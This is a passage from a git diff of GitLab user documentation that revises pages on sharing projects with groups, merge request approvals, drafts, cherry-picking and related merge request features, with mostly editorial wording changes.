continue to receive changes from the upstream project, and webhooks continue to receive updates. You may also want to configure your project to prevent projects in a group [from being forked outside their group](../../group/access_and_permissions.md#prevent-project-forking-outside-group). diff --git a/doc/user/project/members/share_project_with_groups.md b/doc/user/project/members/share_project_with_groups.md index d1ee42f723d..4dda68a6d08 100644 --- a/doc/user/project/members/share_project_with_groups.md +++ b/doc/user/project/members/share_project_with_groups.md @@ -4,60 +4,41 @@ group: Organization info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Share projects with other groups **(FREE)** +# Share a project with a group **(FREE)** -You can share projects with other [groups](../../group/index.md). This makes it -possible to add a group of users to a project with a single action. +When you want a group to have access to your project, +you can invite [a group](../../group/index.md) to the project. +The group's members get access to the project, which becomes a *shared project*. -For example, if `Project A` belongs to `Group 1`, the members of `Group 1` have access to the project. -If `Project A` already belongs to another `Group 2`, the owner of `Group 2` can share `Project A` -with `Group 1`, so that both members of `Group 1` and `Group 2` have access to the project. +## Example -When a project is shared with a group: +For a project that was created by `Group 1`: -- All group members, including members of subgroups or projects that belong to the group, - are assigned the same role in the project. - Each member's role is displayed in **Project information > Members**, in the **Max role** column. - When sharing a project with a group, a user's assigned **Max role** is the lowest - of either: +- The members of `Group 1` have access to the project. +- The owner of `Group 1` can invite `Group 2` to the project. +This way, members of both `Group 1` and `Group 2` have access to the shared project. - - The role assigned in the group membership. - - The maximum role selected when sharing the project with the group. +## Prerequisites - Assigning a higher maximum role to the group doesn't give group users higher roles than - the roles already assigned to them in the group. -- The group is listed in the **Groups** tab. -- The project is listed on the group dashboard. +To invite a group to a project, you must be at least one of the following: -Be aware of the restrictions that apply when you share projects with: +- Explicitly defined as a [member](index.md) of the project. +- Explicitly defined as a member of a group or subgroup that has access to the project. +- An administrator. -- [Groups with a more restrictive visibility level](#share-projects-with-groups-with-a-more-restrictive-visibility-level). -- [Restricted sharing](#prevent-project-sharing). +In addition: -## Share projects with groups with a more restrictive visibility level +- The group you're inviting must have a more restrictive + [visibility level](../../public_access.md#project-and-group-visibility) + than the project. For example, you can invite: + - A private group to a public project. + - An internal group to a public project. + - A private group to an internal project. -You can share projects only down the group's organization structure. -This means you can share a project with a group that has a more restrictive -[visibility level](../../public_access.md#project-and-group-visibility) than the project, -but not with a group that has a less restrictive visibility level. - -For example, you can share: - -- A public project with a private group. -- A public project with an internal group. -- An internal project with a private group. - -This restriction applies to subgroups as well. For example, `group/subgroup01/project`: - -- Can't be shared with `group`. -- Can be shared with `group/subgroup02` or `group/subgroup01/subgroup03`. - -When you share a project with a group that has a more restrictive visibility level than the project: - -- The group name is visible to all users that can view the project members page. -- Owners of the project have access to members of the group when they mention them in issues or merge requests. -- Project members who are direct or indirect members of the group can see -group members listed in addition to members of the project. +- The group or subgroup must be in the project's [namespace](../../namespace/index.md). + For example, a project in the namespace `group/subgroup01/project`: + - Can be shared with `group/subgroup02` or `group/subgroup01/subgroup03`. + - Cannot be shared with `group`. ## Share a project with a group @@ -68,22 +49,57 @@ group members listed in addition to members of the project. > - [Generally available](https://gitlab.com/gitlab-org/gitlab/-/issues/352526) in GitLab 14.9. [Feature flag `invite_members_group_modal`](https://gitlab.com/gitlab-org/gitlab/-/issues/352526) removed. -You can share a project only with groups: +You can share a project with a group by inviting that group to the project. -- Where you have an explicitly defined [membership](index.md). -- That contain a nested subgroup or project you have an explicitly defined role for. -- You are an administrator of. - -To share a project with a group: +To invite a group to a project: 1. On the top bar, select **Main menu > Projects** and find your project. -1. In the left navigation menu, select **Project information > Members**. +1. On the left sidebar, select **Project information > Members**. 1. Select **Invite a group**. 1. **Select a group** you want to add to the project. 1. **Select a role** you want to assign to the group. 1. Optional. Select an **Access expiration date**. 1. Select **Invite**. -## Prevent project sharing +All group members, members of subgroups, and members of other projects the group has access to +are given access to the project. In addition: + +- On the group's page, the project is listed on the **Shared projects** tab. +- On the project's **Members** page, the group is listed on the **Groups** tab. +- Each user is assigned a maximum role. + +## Maximum role + +When multiple groups contain the same members, and the groups +have access to the same project, the group members are +given the most restrictive role for the project. + +This most restrictive role is called the *maximum role*, or **Max role**. + +The member's **Max role** is the more restrictive of: + +- The role the user is assigned for the group. +- The role you chose when you invited the group to the project. + +### View the member's Max role + +To view the maximum role assigned to a member: + +1. On the top bar, select **Main menu > Projects** and find your project. +1. On the left sidebar, select **Project information > Members**. +1. In the **Max role** column, view the user's maximum assigned role. + +## View a group's shared projects + +In a group, a shared project is a project to which the group members gained access through the [**Invite group**](#share-a-project-with-a-group) action. + +To view a group's shared projects: + +1. On the top bar, select **Main menu > Group** and find your group. +1. On the group page, select the **Shared projects** tab. + +A list of shared projects is displayed. + +## Related topics -For more information, see [Prevent a project from being shared with groups](../../group/access_and_permissions.md#prevent-a-project-from-being-shared-with-groups). +- [Prevent a project from being shared with groups](../../group/access_and_permissions.md#prevent-a-project-from-being-shared-with-groups). diff --git a/doc/user/project/merge_requests/allow_collaboration.md b/doc/user/project/merge_requests/allow_collaboration.md index d3d95a5bf61..0729e024df4 100644 --- a/doc/user/project/merge_requests/allow_collaboration.md +++ b/doc/user/project/merge_requests/allow_collaboration.md @@ -6,7 +6,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Collaborate on merge requests across forks **(FREE)** -When you open a merge request from your fork, you can allow upstream +When you open a merge request from your [fork](../repository/forking_workflow.md), you can allow upstream members to collaborate with you on your branch. When you enable this option, members who have permission to merge to the target branch get permission to write to the merge request's source branch. @@ -15,7 +15,7 @@ The members of the upstream project can then make small fixes or rebase branches before merging. This feature is available for merge requests across forked projects that are -publicly accessible. +[publicly accessible](../../public_access.md). ## Allow commits from upstream members diff --git a/doc/user/project/merge_requests/approvals/index.md b/doc/user/project/merge_requests/approvals/index.md index 92ff78082e3..21e2055cb61 100644 --- a/doc/user/project/merge_requests/approvals/index.md +++ b/doc/user/project/merge_requests/approvals/index.md @@ -8,8 +8,6 @@ disqus_identifier: 'https://docs.gitlab.com/ee/user/project/merge_requests/appro # Merge request approvals **(FREE)** -> Redesign [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/1979) in GitLab 11.8 and [feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/10685) in 12.0. - You can configure your merge requests so that they must be approved before they can be merged. While [GitLab Free](https://about.gitlab.com/pricing/) allows all users with Developer or greater [permissions](../../../permissions.md) to diff --git a/doc/user/project/merge_requests/approvals/rules.md b/doc/user/project/merge_requests/approvals/rules.md index 51f7254bfda..0a5e7c29860 100644 --- a/doc/user/project/merge_requests/approvals/rules.md +++ b/doc/user/project/merge_requests/approvals/rules.md @@ -254,6 +254,15 @@ the API. For more information about this validation error, read [issue 285129](https://gitlab.com/gitlab-org/gitlab/-/issues/285129). +### Groups need explicit or inherited Developer role on a project + +A group created to handle approvals may be created in a different area of the +project hierarchy than the project requiring review. If this happens, the approvals group +isn't recognized as a valid Code Owner for the project, nor does it display in the +project's **Approvals** list. To fix this problem, add the approval group as a shared group +high enough in the shared hierarchy so the project requiring review inherits this +group of users. + ## Security Approvals **(ULTIMATE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/357021) in GitLab 15.0. diff --git a/doc/user/project/merge_requests/approvals/settings.md b/doc/user/project/merge_requests/approvals/settings.md index a8acab3898b..1ab564c108b 100644 --- a/doc/user/project/merge_requests/approvals/settings.md +++ b/doc/user/project/merge_requests/approvals/settings.md @@ -87,8 +87,7 @@ to a merge request may or may not be able to approve the work: [code owners](../../code_owners.md) who commit to a merge request cannot approve it, when the merge request affects files they own. -To learn more about the [differences between authors and committers](https://git-scm.com/book/en/v2/Git-Basics-Viewing-the-Commit-History), -read the official Git documentation for an explanation. +For more information, see the [official Git documentation](https://git-scm.com/book/en/v2/Git-Basics-Viewing-the-Commit-History). ## Prevent editing approval rules in merge requests @@ -121,13 +120,17 @@ permission enables an electronic signature for approvals, such as the one define ## Remove all approvals when commits are added to the source branch -By default, an approval on a merge request remains in place, even if you add more changes -after the approval. If you want to remove all existing approvals on a merge request -when more changes are added to it: +By default, an approval on a merge request is removed when you add more changes +after the approval. In GitLab Premium and higher tiers, to keep existing approvals +after more changes are added to the merge request: 1. On the left sidebar, select **Settings > Merge requests**. 1. In the **Merge request approvals** section, scroll to **Approval settings** and - select **Remove all approvals**. + clear the **Remove all approvals** checkbox. + + NOTE: + This setting is not available in GitLab Free. + 1. Select **Save changes**. Approvals aren't removed when a merge request is [rebased from the UI](../methods/index.md#rebasing-in-semi-linear-merge-methods) @@ -155,7 +158,7 @@ To do this: You can require specific approvals if a merge request would result in a decline in code test coverage. -To learn more, see [Coverage check approval rule](../../../../ci/pipelines/settings.md#coverage-check-approval-rule). +For more information, see [Coverage check approval rule](../../../../ci/pipelines/settings.md#coverage-check-approval-rule). ## Settings cascading diff --git a/doc/user/project/merge_requests/changes.md b/doc/user/project/merge_requests/changes.md index 07ee2ef90c4..8f6b1a32424 100644 --- a/doc/user/project/merge_requests/changes.md +++ b/doc/user/project/merge_requests/changes.md @@ -57,7 +57,7 @@ clear your browser's cookies or change this behavior again. To view one file at a time for all of your merge requests: -1. In the top-right corner, select your avatar. +1. In the upper-right corner, select your avatar. 1. Select **Preferences**. 1. Scroll to the **Behavior** section and select the **Show one file at a time on merge request's Changes tab** checkbox. 1. Select **Save changes**. diff --git a/doc/user/project/merge_requests/cherry_pick_changes.md b/doc/user/project/merge_requests/cherry_pick_changes.md index 388c6fb55ac..9fac872ac4b 100644 --- a/doc/user/project/merge_requests/cherry_pick_changes.md +++ b/doc/user/project/merge_requests/cherry_pick_changes.md @@ -55,7 +55,7 @@ by the merge request: 1. On the top bar, select **Main menu > Projects** and find your project. 1. On the left sidebar, select **Merge requests**, and find your merge request. 1. Scroll to the merge request reports section, and find the **Merged by** report. -1. In the top right, select **Cherry-pick**: +1. In the upper right, select **Cherry-pick**:  1. In the modal window, select the project and branch to cherry-pick into. @@ -87,7 +87,7 @@ list of commits included in a merge request: 1. On the left sidebar, select **Merge requests**, and find your merge request. 1. In the merge request's secondary menu, select **Commits** to display the commit details page. 1. Select the title of the commit you want to cherry-pick. -1. In the top right corner, select **Options > Cherry-pick** to show the cherry-pick modal. +1. In the upper-right corner, select **Options > Cherry-pick** to show the cherry-pick modal. 1. In the modal window, select the project and branch to cherry-pick into. 1. Optional. Select **Start a new merge request with these changes**. 1. Select **Cherry-pick**. @@ -101,7 +101,7 @@ when you view that file in your project's Git repository: 1. On the left sidebar, select **Repository > Files** and go to the file changed by the commit. 1. Select **History**, then select the title of the commit you want to cherry-pick. -1. In the top right corner, select **Options > Cherry-pick** to show the cherry-pick modal. +1. In the upper-right corner, select **Options > Cherry-pick** to show the cherry-pick modal. 1. In the modal window, select the project and branch to cherry-pick into. 1. Optional. Select **Start a new merge request with these changes**. 1. Select **Cherry-pick**. @@ -115,7 +115,7 @@ You can cherry-pick merge requests from the same project, or forks of the same project, from the GitLab user interface: 1. In the merge request's secondary menu, select **Commits** to display the commit details page. -1. In the top right corner, select **Options > Cherry-pick** to show the cherry-pick modal. +1. In the upper-right corner, select **Options > Cherry-pick** to show the cherry-pick modal. 1. In **Pick into project** and **Pick into branch**, select the destination project and branch:  1. Optional. Select **Start a new merge request** if you're ready to create a merge request. diff --git a/doc/user/project/merge_requests/commit_templates.md b/doc/user/project/merge_requests/commit_templates.md index a14d8bddd24..f8c24e4067b 100644 --- a/doc/user/project/merge_requests/commit_templates.md +++ b/doc/user/project/merge_requests/commit_templates.md @@ -89,7 +89,7 @@ Commit message templates support these variables: | `%{approved_by}` | Line-separated list of the merge request approvers in a `Approved-by` Git commit trailer format. | `Approved-by: Sidney Jones <sjones@example.com>` <br> `Approved-by: Zhang Wei <zwei@example.com>` | | `%{merged_by}` | User who merged the merge request. | `Alex Garcia <agarcia@example.com>` | | `%{co_authored_by}` | Names and emails of commit authors in a `Co-authored-by` Git commit trailer format. Limited to authors of 100 most recent commits in merge request. | `Co-authored-by: Zane Doe <zdoe@example.com>` <br> `Co-authored-by: Blake Smith <bsmith@example.com>` | -| `%{all_commits}` | Messages from all commits in the merge request. Limited to 100 most recent commits. Skips commit bodies exceeding 100KiB and merge commit messages. | `* Feature introduced` <br><br> `This commit implements feature` <br> `Changelog:added` <br><br> `* Bug fixed` <br><br> `* Documentation improved` <br><br>`This commit introduced better docs.`| +| `%{all_commits}` | Messages from all commits in the merge request. Limited to 100 most recent commits. Skips commit bodies exceeding 100 KiB and merge commit messages. | `* Feature introduced` <br><br> `This commit implements feature` <br> `Changelog:added` <br><br> `* Bug fixed` <br><br> `* Documentation improved` <br><br>`This commit introduced better docs.`| Any line containing only an empty variable is removed. If the line to be removed is both preceded and followed by an empty line, the preceding empty line is also removed. diff --git a/doc/user/project/merge_requests/conflicts.md b/doc/user/project/merge_requests/conflicts.md index 6063d64a721..932eec5e631 100644 --- a/doc/user/project/merge_requests/conflicts.md +++ b/doc/user/project/merge_requests/conflicts.md @@ -59,7 +59,8 @@ in the user interface, and you can also resolve conflicts locally through the co To resolve less-complex conflicts from the GitLab user interface: -1. Go to your merge request. +1. On the top bar, select **Main menu > Projects** and find your project. +1. On the left sidebar, select **Merge requests** and find the merge request. 1. Select **Overview**, and scroll to the merge request reports section. 1. Find the merge conflicts message, and select **Resolve conflicts**. GitLab shows a list of files with merge conflicts. The conflicts are @@ -83,7 +84,8 @@ Some merge conflicts are more complex, requiring you to manually modify lines to resolve their conflicts. Use the merge conflict resolution editor to resolve complex conflicts in the GitLab interface: -1. Go to your merge request. +1. On the top bar, select **Main menu > Projects** and find your project. +1. On the left sidebar, select **Merge requests** and find the merge request. 1. Select **Overview**, and scroll to the merge request reports section. 1. Find the merge conflicts message, and select **Resolve conflicts**. GitLab shows a list of files with merge conflicts. diff --git a/doc/user/project/merge_requests/creating_merge_requests.md b/doc/user/project/merge_requests/creating_merge_requests.md index 542edc11c44..875312bbb7c 100644 --- a/doc/user/project/merge_requests/creating_merge_requests.md +++ b/doc/user/project/merge_requests/creating_merge_requests.md @@ -19,7 +19,7 @@ You can create a merge request from the list of merge requests. 1. On the top bar, select **Main menu > Projects** and find your project. 1. On the left menu, select **Merge requests**. -1. In the top right, select **New merge request**. +1. In the upper right, select **New merge request**. 1. Select a source and target branch and then **Compare branches and continue**. 1. Fill out the fields and select **Create merge request**. @@ -35,14 +35,14 @@ If your development workflow requires an issue for every merge request, you can create a branch directly from the issue to speed the process up. The new branch, and later its merge request, are marked as related to this issue. After merging the merge request, the issue is closed automatically, unless [automatic issue closing is disabled](../issues/managing_issues.md#disable-automatic-issue-closing). -You can see a **Create merge request** dropdown below the issue description. +You can see a **Create merge request** dropdown list below the issue description. NOTE: In GitLab 14.8 and later, selecting **Create merge request** [redirects to the merge request creation form](https://gitlab.com/gitlab-org/gitlab/-/issues/349566) instead of immediately creating the merge request. -The **Create merge request** button doesn't display if: +**Create merge request** doesn't display if: - A branch with the same name already exists. - A merge request already exists for this branch. @@ -54,15 +54,14 @@ To make this button appear, one possible workaround is to After removal, the fork relationship cannot be restored. This project can no longer be able to receive or send merge requests to the source project, or other forks. -This dropdown contains the options **Create merge request and branch** and **Create branch**. +The dropdown list contains the options **Create merge request and branch** and **Create branch**. After selecting one of these options, a new branch or branch and merge request is created based on your project's [default branch](../repository/branches/default.md). -The branch name is based on an internal ID, and the issue title. The example -screenshot above creates a branch named -`2-make-static-site-auto-deploy-and-serve`. +The branch name is based on your project's branch name template. The default template +is `%{id}-%{title}`. Supported variables for branch name templates are `%{id}` and `%{title}`. -When you select the **Create branch** button in an empty +When you select **Create branch** in an empty repository project, GitLab performs these actions: - Creates a default branch. @@ -82,7 +81,7 @@ merge request is merged. You can create a merge request when you add, edit, or upload a file to a repository. -1. Add, edit, or upload a file to the repository. +1. [Add, edit, or upload](../repository/web_editor.md) a file to the repository. 1. In the **Commit message**, enter a reason for the commit. 1. Select the **Target branch** or create a new branch by typing the name (without spaces, capital letters, or special chars). 1. Select the **Start a new merge request with these changes** checkbox or toggle. This checkbox or toggle is visible only @@ -172,7 +171,7 @@ To create a merge request by sending an email: 1. On the top bar, select **Main menu > Projects** and find your project. 1. On the left menu, select **Merge requests**. -1. In the top right, select **Email a new merge request to this project**. +1. In the upper right, select **Email a new merge request to this project**. An email address is displayed. Copy this address. Ensure you keep this address private. 1. Open an email and compose a message with the following information: diff --git a/doc/user/project/merge_requests/csv_export.md b/doc/user/project/merge_requests/csv_export.md index 662189c5e40..9028a9411ea 100644 --- a/doc/user/project/merge_requests/csv_export.md +++ b/doc/user/project/merge_requests/csv_export.md @@ -14,7 +14,7 @@ To export merge requests to a CSV file: 1. On the top bar, select **Main menu > Projects** and find your project. 1. On the left sidebar, select **Merge requests** . -1. Add any searches or filters. This can help you keep the size of the CSV file under the 15MB limit. The limit ensures +1. Add any searches or filters. This can help you keep the size of the CSV file under the 15 MB limit. The limit ensures the file can be emailed to a variety of email providers. 1. Select **Export as CSV** (**{export}**). 1. Confirm the correct number of merge requests are to be exported. diff --git a/doc/user/project/merge_requests/drafts.md b/doc/user/project/merge_requests/drafts.md index 0bc9b337e3b..62820988701 100644 --- a/doc/user/project/merge_requests/drafts.md +++ b/doc/user/project/merge_requests/drafts.md @@ -21,12 +21,13 @@ the **Merge** button until you remove the **Draft** flag: > - [Removed](https://gitlab.com/gitlab-org/gitlab/-/issues/228685) all support for using **WIP** in GitLab 14.8. > - **Mark as draft** and **Mark as ready** buttons [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/227421) in GitLab 13.5. > `/draft` quick action as a toggle [deprecated](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/92654) in GitLab 15.4. +> - [Changed](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/108073) the draft status to use a checkbox in GitLab 15.8. There are several ways to flag a merge request as a draft: -- **Viewing a merge request**: In the top right corner of the merge request, select **Mark as draft**. +- **Viewing a merge request**: In the upper-right corner of the merge request, select **Mark as draft**. - **Creating or editing a merge request**: Add `[Draft]`, `Draft:` or `(Draft)` to - the beginning of the merge request's title, or select **Start the title with Draft:** + the beginning of the merge request's title, or select **Mark as draft** below the **Title** field. - **Commenting in an existing merge request**: Add the `/draft` [quick action](../quick_actions.md#issues-merge-requests-and-epics) @@ -40,14 +41,14 @@ There are several ways to flag a merge request as a draft: When a merge request is ready to be merged, you can remove the `Draft` flag in several ways: -- **Viewing a merge request**: In the top right corner of the merge request, select **Mark as ready**. +- **Viewing a merge request**: In the upper-right corner of the merge request, select **Mark as ready**. Users with at least the Developer role can also scroll to the bottom of the merge request description and select **Mark as ready**:  - **Editing an existing merge request**: Remove `[Draft]`, `Draft:` or `(Draft)` - from the beginning of the title, or select **Remove the Draft: prefix from the title** + from the beginning of the title, or clear **Mark as draft** below the **Title** field. - **Commenting in an existing merge request**: Add the `/ready` [quick action](../quick_actions.md#issues-merge-requests-and-epics) diff --git a/doc/user/project/merge_requests/getting_started.md b/doc/user/project/merge_requests/getting_started.md index 58750cdf5bc..4125d8e8fdb 100644 --- a/doc/user/project/merge_requests/getting_started.md +++ b/doc/user/project/merge_requests/getting_started.md @@ -1,147 +1,11 @@ --- -stage: Create -group: Code Review -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments -description: "Getting started with merge requests." +redirect_to: 'index.md' +remove_date: '2023-03-31' --- -# Getting started with merge requests **(FREE)** +This document was moved to [another location](index.md). -A merge request (**MR**) is the basis of GitLab as a tool for code -collaboration and version control. - -When working in a Git-based platform, you can use branching -strategies to collaborate on code. - -A repository is composed by its _default branch_, which contains -the major version of the codebase, from which you create minor -branches, also called _feature branches_, to propose changes to -the codebase without introducing them directly into the major -version of the codebase. - -Branching is especially important when collaborating with others, -avoiding changes to be pushed directly to the default branch -without prior reviews, tests, and approvals. - -When you create a new feature branch, change the files, and push -it to GitLab, you have the option to create a **merge request**, -which is essentially a _request_ to merge one branch into another. - -The branch you added your changes into is called _source branch_ -while the branch you request to merge your changes into is -called _target branch_. - -The target branch can be the default or any other branch, depending -on the branching strategies you choose. - -In a merge request, beyond visualizing the differences between the -original content and your proposed changes, you can execute a -[significant number of tasks](#what-you-can-do-with-merge-requests) -before concluding your work and merging the merge request. - -You can watch our [GitLab Flow video](https://www.youtube.com/watch?v=InKNIvky2KE) for -a quick overview of working with merge requests. - -## What you can do with merge requests - -When you start a new merge request, you can immediately include the following -options. You can also add them later by either selecting **Edit** on the merge -request's page at the top-right side, or by using -[keyboard shortcuts for merge requests](../../shortcuts.md#merge-requests): - -- [Assign](index.md#assign-a-user-to-a-merge-request) the merge request to a colleague for review. With [multiple assignees](index.md#assign-multiple-users), you can assign it to more than one person at a time. -- Set a [milestone](../milestones/index.md) to track time-sensitive changes. -- Add [labels](../labels.md) to help contextualize and filter your merge requests over time. -- [Require approval](approvals/index.md#required-approvals) from your team. -- [Close issues automatically](#merge-requests-to-close-issues) when they are merged. -- Enable the [delete source branch when merge request is accepted](#deleting-the-source-branch) option to keep your repository clean. -- Enable the [squash commits when merge request is accepted](squash_and_merge.md) option to combine all the commits into one before merging, thus keep a clean commit history in your repository. -- Set the merge request as a [**Draft**](drafts.md) to avoid accidental merges before it is ready. - -After you have created the merge request, you can also: - -- [Discuss](../../discussions/index.md) your implementation with your team in the merge request thread. -- [Perform inline code reviews](reviews/index.md). -- Add [merge request dependencies](dependencies.md) to restrict it to be merged only when other merge requests have been merged. -- Preview continuous integration [pipelines on the merge request widget](widgets.md). -- Preview how your changes look directly on your deployed application with [Review Apps](widgets.md#live-preview-with-review-apps). -- [Allow collaboration on merge requests across forks](allow_collaboration.md). -- Perform a [Review](reviews/index.md) to create multiple comments on a diff and publish them when you're ready. -- Add [code suggestions](reviews/suggestions.md) to change the content of merge requests directly into merge request threads, and easily apply them to the codebase directly from the UI. -- Add a time estimation and the time spent with that merge request with [Time Tracking](../time_tracking.md#time-tracking). - -Many of these options can be set: - -- From the merge request page, with [keyboard shortcuts](../../shortcuts.md#merge-requests). -- When pushing changes from the command line, with [Git push options](../push_options.md). - -See also other [features associated to merge requests](reviews/index.md#associated-features). - -### Reviewer - -WARNING: -Requesting a code review is an important part of contributing code. However, deciding who should review -your code and asking for a review are no easy tasks. Using the "assignee" field for both authors and -reviewers makes it hard for others to determine who's doing what on a merge request. - -The merge request Reviewers feature enables you to request a review of your work, and -see the status of the review. Reviewers help distinguish the roles of the users -involved in the merge request. In comparison to an **Assignee**, who is directly -responsible for creating or merging a merge request, a **Reviewer** is a team member -who may only be involved in one aspect of the merge request, such as a peer review. - -To request a review of a merge request, expand the **Reviewers** select box in -the right-hand sidebar. Search for the users you want to request a review from. -When selected, GitLab creates a [to-do list item](../../todos.md) for each reviewer. - -To learn more, read [Review a merge request](reviews/index.md). - -### Merge requests to close issues - -To create a merge request to close an issue when it's merged, you can either: - -- [Add a note in the MR description](../issues/managing_issues.md#closing-issues-automatically). -- In the issue, select **Create a merge request**. Then, you can either: - - - Create a new branch and [a draft merge request](../merge_requests/drafts.md) - in one action. The branch is named `issuenumber-title` by default, but you can - choose any name, and GitLab verifies that it's not already in use. The merge request - inherits the milestone and labels of the issue, and is set to automatically - close the issue when it is merged. - - Create a [new branch](creating_merge_requests.md#from-an-issue) - only, with its name starting with the issue number. - -If the issue is [confidential](../issues/confidential_issues.md), -you may want to use a different workflow for -[merge requests for confidential issues](confidential.md) -to prevent confidential information from being exposed. - -### Deleting the source branch - -When creating a merge request, select the -**Delete source branch when merge request accepted** option, and the source -branch is deleted when the merge request is merged. To make this option -enabled by default for all new merge requests, enable it in the -[project's settings](../settings/index.md#configure-merge-request-settings-for-a-project). - -This option is also visible in an existing merge request next to -the merge request button and can be selected or cleared before merging. -It is only visible to users with the Maintainer role -in the source project. - -If the user viewing the merge request does not have the correct -permissions to delete the source branch and the source branch -is set for deletion, the merge request widget displays the -**Deletes source branch** text. - - - -## Recommendations and best practices for merge requests - -- When working locally in your branch, add multiple commits and only push when - you're done, so GitLab runs only one pipeline for all the commits pushed - at once. By doing so, you save CI/CD minutes. -- Delete feature branches on merge or after merging them to keep your repository clean. -- Take one thing at a time and ship the smallest changes possible. By doing so, - reviews are faster and your changes are less prone to errors. -- Do not use capital letters nor special chars in branch names. +<!-- This redirect file can be deleted after <2023-03-31>. --> +<!-- Redirects that point to other docs in the same project expire in three months. --> +<!-- Redirects that point to docs in a different project or site (for example, link is not relative and starts with `https:`) expire in one year. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/redirects.html --> diff --git a/doc/user/project/merge_requests/index.md b/doc/user/project/merge_requests/index.md index 21651fd645c..a633366cc62 100644 --- a/doc/user/project/merge_requests/index.md +++ b/doc/user/project/merge_requests/index.md @@ -7,8 +7,9 @@ type: index, reference # Merge requests **(FREE)** -Merge requests (MRs) are the way you check source code changes into a branch. -When you open a merge request, you can visualize and collaborate on the code changes before merge. +To incorporate changes from a source branch to a target branch, you use a *merge request* (MR). + +When you open a merge request, you can visualize and collaborate on the changes before merge. Merge requests include: - A description of the request. @@ -17,7 +18,9 @@ Merge requests include: - A comment section for discussion threads. - The list of commits. -Read more about [how to get started](getting_started.md). +<i class="fa fa-youtube-play youtube" aria-hidden="true"></i> +For a quick overview of merge requests, +view [this GitLab Flow video](https://www.youtube.com/watch?v=InKNIvky2KE). ## Create a merge request @@ -62,7 +65,7 @@ or: or: -1. On the top bar, on the top right, select **{merge-request-open}** **Merge requests**. +1. On the top bar, in the upper right, select **{merge-request-open}** **Merge requests**. 1. From the dropdown list, select **Assigned to you**. ## Filter the list of merge requests @@ -205,6 +208,15 @@ To delete a merge request: 1. Go to the merge request you want to delete, and select **Edit**. 1. Scroll to the bottom of the page, and select **Delete merge request**. +### Delete the source branch on merge + +You can delete the source branch for a merge request: + +- When you create a merge request, by selecting **Delete source branch when merge request accepted**. +- When you merge a merge request, if you have the Maintainer role, by selecting **Delete source branch**. + +An administrator can make this option the default in the project's settings. + ### Update merge requests when target branch merges **(FREE SELF)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/320902) in GitLab 13.9. @@ -243,10 +255,10 @@ like in https://gitlab.com/gitlab-org/gitlab/-/merge_requests/87727/diffs?diff_i FLAG: On self-managed GitLab, by default this feature is not available. To make it available per project or for your entire instance, ask an administrator to [enable the feature flag](../../../administration/feature_flags.md) named `moved_mr_sidebar`. -On GitLab.com, this feature is not available. +On GitLab.com, this feature is enabled in the following projects: `gitlab-org/gitlab`, `gitlab-com/www-gitlab-com`, and `gitlab-org/customers-gitlab-com`. When this feature flag is enabled, you can find the following actions in -**Merge request actions** (**{ellipsis_v}**) on the top right: +**Merge request actions** (**{ellipsis_v}**) in the upper right: - The [notifications](../../profile/notifications.md#edit-notification-settings-for-issues-merge-requests-and-epics) toggle - Mark merge request as ready or [draft](../merge_requests/drafts.md) @@ -366,5 +378,5 @@ with a backup of the instance ready to be restored, just in case. u = User.find_by_username('<username>') p = Project.find_by_full_path('<namespace/project>') m = p.merge_requests.find_by(iid: <iid>) -Issuable::DestroyService.new(project: m.project, current_user: u).execute(m) +Issuable::DestroyService.new(container: m.project, current_user: u).execute(m) ``` diff --git a/doc/user/project/merge_requests/methods/index.md b/doc/user/project/merge_requests/methods/index.md index b1d07a740bf..1f7e15ee982 100644 --- a/doc/user/project/merge_requests/methods/index.md +++ b/doc/user/project/merge_requests/methods/index.md @@ -199,7 +199,7 @@ In these merge methods, you can merge only when your source branch is up-to-date If a fast-forward merge is not possible but a conflict-free rebase is possible, GitLab provides: -- The [`/rebase` quick action](../../../../topics/git/git_rebase.md#rebase-from-the-gitlab-ui). +- The [`/rebase` quick action](../../../../topics/git/git_rebase.md#from-the-gitlab-ui). - The option to select **Rebase** in the user interface. You must rebase the source branch locally before a fast-forward merge if both diff --git a/doc/user/project/merge_requests/revert_changes.md b/doc/user/project/merge_requests/revert_changes.md index 76f351f1346..5878873f209 100644 --- a/doc/user/project/merge_requests/revert_changes.md +++ b/doc/user/project/merge_requests/revert_changes.md @@ -62,7 +62,7 @@ To do this: 1. If you don't know the merge request the commit originated from: 1. On the left sidebar, select **Repository > Commits**. 1. Select the title of the commit to display full information about the commit. -1. In the top right corner, select **Options**, then select **Revert**. +1. In the upper-right corner, select **Options**, then select **Revert**. 1. In **Revert in branch**, select the branch to revert your changes into. 1. Optional. Select **Start a new merge request** to start a new merge request with the new revert commit. 1. Select **Revert**. diff --git a/doc/user/project/merge_requests/reviews/data_usage.md b/doc/user/project/merge_requests/reviews/data_usage.md index f17015aef4e..dd07f0b4a6e 100644 --- a/doc/user/project/merge_requests/reviews/data_usage.md +++ b/doc/user/project/merge_requests/reviews/data_usage.md @@ -15,21 +15,21 @@ Suggested Reviewers is the first user-facing GitLab machine learning (ML) powere When a Project Maintainer or Owner enables Suggested Reviewers in project settings GitLab kicks off a data extraction job for the project which leverages the Merge Request API to understand pattern of review including recency, domain experience, and frequency to suggest an appropriate reviewer. -This data extraction job can take a few hours to complete (possibly up to a day), which is largely dependent on the size of the project. The process is automated and no action is needed during this process. Once data extraction is complete, you will start getting suggestions in merge requests. +This data extraction job can take a few hours to complete (possibly up to a day), which is largely dependent on the size of the project. The process is automated and no action is needed during this process. Once data extraction is complete, you start getting suggestions in merge requests. ### Generating suggestions -Once Suggested Reviewers is enabled and the data extraction is complete, new merge requests or new commits to existing merge requests will automatically trigger a Suggested Reviewers ML model inference and generate up to 5 suggested reviewers. These suggestions are contextual to the changes in the merge request. Additional commits to merge requests may change the reviewer suggestions which will automatically update in the reviewer dropdown list. +Once Suggested Reviewers is enabled and the data extraction is complete, new merge requests or new commits to existing merge requests automatically trigger a Suggested Reviewers ML model inference and generate up to 5 suggested reviewers. These suggestions are contextual to the changes in the merge request. Additional commits to merge requests may change the 